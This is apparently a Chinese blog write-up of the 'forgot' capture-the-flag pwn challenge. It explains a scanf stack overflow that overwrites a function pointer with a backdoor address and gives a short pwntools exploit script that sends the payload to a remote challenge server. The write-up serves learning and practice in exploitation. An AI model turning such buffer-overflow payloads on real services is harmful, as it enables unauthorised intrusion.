forgot

check一下,只开了NX。


image.png

拖进ida


image.png

image.png
可以看出首先输入姓名然后输入一个字符串 (可溢出 , 因为用scanf输入,只可构造一个地址,再进行 n 层检测 ,不通过即调用 第 n 个 输出函数 (输出函数地址存储在栈上),最后发现一个后门函数,只要使栈溢出到后门函数就好,再触发指定的函数 , 从而获得flag.
image.png

我们输入v2,v2大小为32,输入v2后就将指针v3覆盖为后门函数地址。
脚本:

#! /usr/bin/env python
from pwn import *
p=remote('111.198.29.45',58843)
print p.recvuntil("> ")
p.sendline('A')
payload='A'*32+p32(0x080486cc)
print p.recvuntil("> ")
p.sendline(payload)
print p.recvall()
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 继续阅读《南渡北归》2 华罗庚的出身让人惊讶,初中毕业,跛足,貌不惊人。因为发文指出苏家驹的解法问题被熊庆来发现并...
    九月的禾阅读 147评论 0 0
  • 现在生活条件越来越好了,肥胖的人越来越多,不管男女老少,胖人越来越多,这跟美食易得分不开。 以前是吃不饱穿不暖,现...
    雨花石_9bd6阅读 154评论 0 1